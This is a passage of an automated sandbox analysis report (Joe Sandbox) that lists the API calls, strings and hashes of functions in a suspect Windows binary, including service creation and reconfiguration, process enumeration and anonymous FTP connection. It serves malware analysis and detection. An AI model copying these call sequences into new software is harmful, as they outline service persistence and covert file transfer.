wm_InStr.WMVERT(00000004,00000000,00000000,80000004,?,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 0040D89E
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000008,00000000,00000000,00000000,00000000,00000000,00000000,?,000F01FF), ref: 0040D9F7
HeapFree.KERNEL32(00000001,00000001,00000000,00000000,00000000,00000000,00000000,00000001,00000008,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040DA2E
CloseServiceHandle.ADVAPI32(00000000,00000001,00000001,00000000,00000000,00000000,00000000,00000000,00000001,00000008,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040DA5A
wm_DoEvents.WMVERT(00000000,00000000,?,000F01FF,?,?,?,?,?,?,?,?,?,00000000), ref: 0040DA85
GetProcessHeap.KERNEL32(?,00000000,?,00000000,00000000), ref: 0040DAA1
HeapFree.KERNEL32(00000001,00000001,00000000,?,00000000,?,00000000,00000000), ref: 0040DAD8
CloseServiceHandle.ADVAPI32(00000000,00000001,00000001,00000000,?,00000000,?,00000000,00000000), ref: 0040DB04

Strings

LocalSystem, xrefs: 0040D840
NetworkService, xrefs: 0040D729
LocalService, xrefs: 0040D612

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Heap$Service$CaseProcess$AllocCloseConfigEnumFreeHandleMemoryMoveOpenQueryServicesStatuswm_pstr$EventsManagerZerowm_pbin
String ID: LocalService$LocalSystem$NetworkService
API String ID: 714265086-295051543
Opcode ID: 6b6de8688a13cdc5838b478f390bd93254cd941ffa7112da95ed9af416393222
Instruction ID: 66e0f5bc006fb1f21823216caf66246997238d8318031899fc91d8bfd12de4e6
Opcode Fuzzy Hash: 6b6de8688a13cdc5838b478f390bd93254cd941ffa7112da95ed9af416393222
Instruction Fuzzy Hash: B6C240B1E40318EBEB00DFD5DCC2B9E77B4EF19314F14003AFA04BA285DA7969558B5A

Function 00417689 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 963networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(FTP CLIENT,00000001,00000000,00000000,00000000), ref: 0041793C
wm_SpaceBin.WMVERT(00000001,00002800,00000000,80000301,FTP CLIENT,00000001,00000000,00000000,00000000,00000000,00000000,?,?,?,-00000004), ref: 0041798A
InternetConnectA.WININET(00000000,?,00000001,00000000,?,00000001,00000000,00000000), ref: 004179EA

Strings

FTP CLIENT, xrefs: 00417932
Anonymous, xrefs: 0041785F, 00417864
IEUser@, xrefs: 00417896, 0041789B

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Internet$ConnectOpenSpace
String ID: Anonymous$FTP CLIENT$IEUser@
API String ID: 305481373-3619736001
Opcode ID: ac6a900d09fe074612f795b200428486163948eda15089d4bb1a6338c59e9ae5
Instruction ID: c9093c27a2362848001f52a721d7afb30e2f37d61733d60f21633f76b92f7882
Opcode Fuzzy Hash: ac6a900d09fe074612f795b200428486163948eda15089d4bb1a6338c59e9ae5
Instruction Fuzzy Hash: 7E725EB1E40318ABEB00DF95DCC1B9E77B4EF09314F14002AFA05AB381D779A995CB66

Function 00411605 Relevance: 24.6, APIs: 16, Instructions: 621memoryCOMMON

Download Yara Rule

APIs

SQLAllocHandle.ODBC32(00000003,?,00000000), ref: 00411661
SQLPrepare.ODBC32(00000000,?,FFFFFFFD,00000003,?,00000000), ref: 004116B0
SQLFreeHandle.ODBC32(00000003,00000000,00000000,?,FFFFFFFD,00000003,?,00000000), ref: 004116F0
wm_BinLen.WMVERT(00000001,00000000,00000000,80000005,00000001,00000000,?,FFFFFFFD,00000003,?,00000000), ref: 00411787
SQLBindParameter.ODBC32(00000000,00000001,00000001,0000FFFE,0000FFFC,?,00000000,00000000,?,?,FFFFFFFD,00000003,?,00000000), ref: 00411862
SQLExecute.ODBC32(00000000,00000000), ref: 00411E17
SQLRowCount.ODBC32(00000000,?,00000000,00000000), ref: 00411E63
SQLFreeHandle.ODBC32(00000003,00000000,00000000,00000000), ref: 00411E94

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Handle$Free$AllocBindCountExecuteParameterPrepare
String ID:
API String ID: 3222941495-0
Opcode ID: 95454277234ec9bad1807e3ee5366984c0fdfa8e09d0814b7c0e8f6c2e491c08
Instruction ID: ff074a945ccf97f4d7aa517f8c8072475e0a66cc04855f708365262daf9a846d
Opcode Fuzzy Hash: 95454277234ec9bad1807e3ee5366984c0fdfa8e09d0814b7c0e8f6c2e491c08
Instruction Fuzzy Hash: C52265B5F80309ABEB109F95DC83BDE7660AB15714F14003AFA14BA3D1D7B95A808B5B

Function 0040A363 Relevance: 15.2, APIs: 10, Instructions: 194servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040A3AD
OpenServiceA.ADVAPI32(00000000,00000000,80000000,00000000,00000000,80000000), ref: 0040A3F0
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,80000000,00000000,00000000,80000000), ref: 0040A437
GlobalAlloc.KERNEL32(00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,80000000,00000000,00000000,80000000), ref: 0040A468
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,80000000,00000000,00000000,80000000), ref: 0040A4A1
wm_pbin.WMVERT(00000002,00000000,00000000,80000301,00000004,00000000,80000301,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000), ref: 0040A4EF
wm_GetBinData.WMVERT(00000003,?,00000000,80000005,00000003,00000000,80000301,00000000,00000000,00000000,00000000,00000000,00000000,80000000,00000000,00000000), ref: 0040A52A
GlobalFree.KERNEL32(00000000), ref: 0040A5C6
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000000,80000000,00000000,00000000), ref: 0040A5F2
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,80000000,00000000,00000000,80000000), ref: 0040A61E

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocDataFreeManagerwm_pbin
String ID:
API String ID: 1489771669-0
Opcode ID: 3c622d50486a0d315b8d8d99317133990bfac9356c7e435fef8e9107c64e4eb2
Instruction ID: 393540e0fe3101a742868e28d65a571263598ea92593c1848b4c48614df58f2a
Opcode Fuzzy Hash: 3c622d50486a0d315b8d8d99317133990bfac9356c7e435fef8e9107c64e4eb2
Instruction Fuzzy Hash: 82713FB1E81309BBEF10AB95DC17BEE7675AB14704F14402AF5043A2C1D6BE1A64CF9B

Function 0040C0A9 Relevance: 15.2, APIs: 10, Instructions: 161serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040C0DE
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040C121
wm_Chr.WMVERT(00000001,00000000,00000000,80000101,00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040C165
wm_Chr.WMVERT(00000001,00000000,00000000,80000101,000F01FF,00000000,00000000,000F003F), ref: 0040C186
wm_Chr.WMVERT(00000001,00000000,00000000,80000101,?,?,?,?,000F01FF,00000000,00000000,000F003F), ref: 0040C1A7
wm_Chr.WMVERT(00000001,00000000,00000000,80000101,?,?,?,?,?,?,?,?,000F01FF,00000000,00000000,000F003F), ref: 0040C1C8
wm_Chr.WMVERT(00000001,00000000,00000000,80000101), ref: 0040C1E9
ChangeServiceConfigA.ADVAPI32(00000000,FFFFFFFF,FFFFFFFF,FFFFFFFF,?,?,00000000,?,?,?,?), ref: 0040C227
CloseServiceHandle.ADVAPI32(00000000,00000000,FFFFFFFF,FFFFFFFF,FFFFFFFF,?,?,00000000,?,?,?,?), ref: 0040C2AC
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040C2D8

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandleOpen$ChangeConfigManager
String ID:
API String ID: 3054356760-0
Opcode ID: 31ac86281cf420f04fac0e3b661e364995d282eea5eeef6ced309dc225501ca1
Instruction ID: 45e365a558c8e0fae8218b4ce2a1b3518f6c36fae6138354435f5081dad65ec3
Opcode Fuzzy Hash: 31ac86281cf420f04fac0e3b661e364995d282eea5eeef6ced309dc225501ca1
Instruction Fuzzy Hash: 5B5142B1E40309F7EF10AFD19C83BEE7671AB05715F14056EFA143A2C2D6BA1950CB96

Function 0040997E Relevance: 10.9, APIs: 7, Instructions: 419processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 004099EC
Process32First.KERNEL32(000000FF,00000000), ref: 00409AC9
wm_Str.WMVERT(00000001,00000001,00000000,A0000101,?,?,?,?,00000000,00000001,00000000,00000001), ref: 00409BCC
wm_StrComp.WMVERT(00000003,00000000,00000000,80000004,00000000,00000000,80000004,00000000,00000000,80000002), ref: 00409C15
CloseHandle.KERNEL32(000000FF), ref: 00409C45
Process32Next.KERNEL32(000000FF,00000000), ref: 00409D06
CloseHandle.KERNEL32(000000FF,?,?,?,?,00000000,00000001,00000000,00000001), ref: 00409DF0

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CloseHandleProcess32$CompCreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 560667762-0
Opcode ID: bb561cd1caf437045bd9db3880e47ece31398cdc3be300252afc7f3fbf87b85b
Instruction ID: d8c0efe521c980d64b017967dfcc8d942e81feae1dcbf13388962ac5be337ea1
Opcode Fuzzy Hash: bb561cd1caf437045bd9db3880e47ece31398cdc3be300252afc7f3fbf87b85b
Instruction Fuzzy Hash: 13E14DF1A812469BFF00CF98DCC1B9A77A1EF59324F280435E506AB381D378B960DB52

Function 004209A2 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 207stringtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041F750: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0042063B,00000009,00000000,00000000,00000001,0041D84E,00000001,00000074,?,?,00000000,00000001), ref: 0041F78D
Part of subcall function 0041F750: EnterCriticalSection.KERNEL32(?,?,?,0042063B,00000009,00000000,00000000,00000001,0041D84E,00000001,00000074,?,?,00000000,00000001), ref: 0041F7A8

Part of subcall function 00421D83: strlen.MSVCRT ref: 00421DBD
Part of subcall function 00421D83: strlen.MSVCRT ref: 00421DCC

GetTimeZoneInformation.KERNEL32(0000000C,?,0000000C,00000000,0000000B,0000000B,?,00420993,0041CCB5,00000000,?,?,0041CB28,?,00000001), ref: 004209F0
WideCharToMultiByte.KERNEL32(00000220,004421DC,000000FF,0000003F,00000000,00000000,?,00420993,0041CCB5,00000000,?,?,0041CB28,?,00000001), ref: 00420A86
WideCharToMultiByte.KERNEL32(00000220,00442230,000000FF,0000003F,00000000,00000000,?,00420993,0041CCB5,00000000,?,?,0041CB28,?,00000001), ref: 00420ABF
strlen.MSVCRT ref: 00420B0F

Part of subcall function 0041F7B1: LeaveCriticalSection.KERNEL32(?,0041AC5E,00000009,0041AC4A,00000000,?,00000000,00000000,00000000), ref: 0041F7BE

Strings

6C, xrefs: 00420A91, 00420A9C, 00420B46
,7C, xrefs: 00420AD2, 00420C05, 00420C13

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: CriticalSectionstrlen$ByteCharMultiWide$EnterInformationInitializeLeaveTimeZone
String ID: ,7C$6C
API String ID: 3494732694-2697000295
Opcode ID: 8f63c778f66dea19c3d0a02e5e0e67ace478708606738e297d2c7266ba2e3b87
Instruction ID: 0471d2aeb1ea311802d5f8795e699b28422afc7e858ee44c0272d6883a7a9607
Opcode Fuzzy Hash: 8f63c778f66dea19c3d0a02e5e0e67ace478708606738e297d2c7266ba2e3b87
Instruction Fuzzy Hash: EB6105B1604261AFD7359F29BD42B6A7FE4FB02314F94113FE480872A2D7B85A82C75D

Function 00415040 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 597COMMON

Download Yara Rule

APIs

wm_BinLen.WMVERT(00000001,00000000,00000000,80000005), ref: 0041508C
wm_SpaceBin.WMVERT(00000001,00000000,00000000,80000301), ref: 004150D9
wm_GetBinData.WMVERT(00000003,00000000,00000000,80000005,0000000A,00000000,80000301,00000000,00000000,00000000), ref: 00415790

Strings

%%%02X, xrefs: 004156FB

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: DataSpace
String ID: %%%02X
API String ID: 2351486820-3569721977
Opcode ID: e84dbb86805daa318b821e27e1924859c184db55e9d69aa87de0ee814e535a57
Instruction ID: f196251fc73f6ecb41616b9e86654577431e519981d7323da9ab4e53edfa7804
Opcode Fuzzy Hash: e84dbb86805daa318b821e27e1924859c184db55e9d69aa87de0ee814e535a57
Instruction Fuzzy Hash: 6C12DDB1F44709EFEB009B95DCC6BDE77B4AB45704F14002AF608FA2C1E7B96980875A

Function 0040ADF0 Relevance: 9.1, APIs: 6, Instructions: 136serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040AE66
wm_BOr.WMVERT(00000002,?,00000000,80000301,00000100,00000000,80000301,00000000,00000000,000F003F), ref: 0040AEBE
wm_Chr.WMVERT(00000001,00000000,00000000,80000101,00000000,00000000,000F003F), ref: 0040AEDF
CreateServiceA.ADVAPI32(00000000,?,?,000F01FF,?,?,00000001,?,?,00000000,?,?,?), ref: 0040AF2B
CloseServiceHandle.ADVAPI32(00000000,00000000,?,?,000F01FF,?,?,00000001,?,?,00000000,?,?,?), ref: 0040AF8D
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,?,?,000F01FF,?,?,00000001,?,?,00000000,?,?,?), ref: 0040AFB9

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandle$CreateManagerOpen
String ID:
API String ID: 2424488607-0
Opcode ID: 9ddd1d322bc6b1d7ca702ec95859ed3bb5339432899d9358db26a0b6d053b822
Instruction ID: 26922811f116c6a41ce64a37f1d0438742c788e4ac23d4684b57a204eb87ae3b
Opcode Fuzzy Hash: 9ddd1d322bc6b1d7ca702ec95859ed3bb5339432899d9358db26a0b6d053b822
Instruction Fuzzy Hash: 03514D75A40308FBEF11AF95CC46BDD3B71AB08704F14406AFA047A2D1D6BA9AA0DF56

Function 00409F47 Relevance: 9.1, APIs: 6, Instructions: 131memorynativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00409F33,00000000,00000000,00000000), ref: 00409F85
OpenProcess.KERNEL32(001F0FFF,00000000,00000000,?,00409F33,00000000,00000000,00000000), ref: 00409FC3
LocalAlloc.KERNEL32(00000040,00000018,001F0FFF,00000000,00000000,?,00409F33,00000000,00000000,00000000), ref: 0040A019
NtQueryInformationProcess.NTDLL ref: 0040A061
LocalFree.KERNEL32(00000000,00000000,00000000,000000A8,00000000,000000A4,00000000,00000004,00000000,00000000,00000000,00000018,00000018,00000040,00000018,001F0FFF), ref: 0040A0F9
CloseHandle.KERNEL32(00000000,00000040,00000018,001F0FFF,00000000,00000000,?,00409F33,00000000,00000000,00000000), ref: 0040A125

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Process$Local$AllocCloseCurrentFreeHandleInformationOpenQuery
String ID:
API String ID: 1303139876-0
Opcode ID: fd8dc78600db1e30d1f33f85de2cfb4b030df15677a45ab93454d8f678bd23b5
Instruction ID: 1249648cea89be6d92c658fc4789caed262c3a2542fa246e49548097d1dd055d
Opcode Fuzzy Hash: fd8dc78600db1e30d1f33f85de2cfb4b030df15677a45ab93454d8f678bd23b5
Instruction Fuzzy Hash: 0B510A70D4030AEBEF11AF91D847BEEBA70AB05705F10406AF6147A2C1D6790AA4DB9B

Function 0040DBE8 Relevance: 9.1, APIs: 6, Instructions: 115servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040DC56
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040DCAC
GlobalAlloc.KERNEL32(00000040,00000000,00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,80000000), ref: 0040DCDD
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040DD25
GlobalFree.KERNEL32(00000000), ref: 0040DD54
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000030,00000000,00000000), ref: 0040DD80

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: EnumGlobalServicesStatus$AllocCloseFreeHandleManagerOpenService
String ID:
API String ID: 2081471158-0
Opcode ID: c90960823efbf8487a854373b6a3ee0f876a5a4ff89e0a7b93b7539523744cc1
Instruction ID: fcc6df12cfb692120ca5ee9b7a376fd70c328c0b1815da835c7d81d40b069d76
Opcode Fuzzy Hash: c90960823efbf8487a854373b6a3ee0f876a5a4ff89e0a7b93b7539523744cc1
Instruction Fuzzy Hash: 7B4127B5D80209BBEB119BD1D806BEEBB74EB01714F04402AF9147A2C0D6BA5B54CF9A

Function 0041D8BD Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0041D8DC
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 0041D911
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D971

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 0041D94B
__MSVCRT_HEAP_SELECT, xrefs: 0041D90C

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: b7d9c75d023e767e68ba1915bc51281376f9ed0726e8e52aa50ea6a448d88255
Instruction ID: 1efcdf3ec0d2806c4bd6d998d4edd6a1b44172f945f0b15191a1c6b5adc0fc8d
Opcode Fuzzy Hash: b7d9c75d023e767e68ba1915bc51281376f9ed0726e8e52aa50ea6a448d88255
Instruction Fuzzy Hash: 09315BF2D552586EEB35DA70AC827EF77689B02304F5404DBD085D6242E23C9ECACB1D

Function 00419AF7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84filestringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(-0000002C,?,?,?,?,004191B7), ref: 00419B25
FindFirstFileA.KERNEL32(?,?,?,004191B7), ref: 00419B2F
GetLastError.KERNEL32(?,004191B7), ref: 00419B3D
SetLastError.KERNEL32(0000007B,000000FF,00000000,00000064), ref: 00419B88

Part of subcall function 004249CC: lstrlenA.KERNEL32(?,00000000,00419BCE,000000FF,?,?,?,?,?,00000000,00000064), ref: 004249DF

Strings

*.*, xrefs: 00419B1B, 00419B23, 00419B2E

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: ErrorLast$FileFindFirstlstrcpylstrlen
String ID: *.*
API String ID: 334723784-438819550
Opcode ID: 296dc186b118a965bd2eb3ed8f64d143b90637cce57d21a5a43af5db26b4bcfb
Instruction ID: b63b5f2ecceb53506b16464c5ff86812910b9129ed9bd98040e41c962e09e421
Opcode Fuzzy Hash: 296dc186b118a965bd2eb3ed8f64d143b90637cce57d21a5a43af5db26b4bcfb
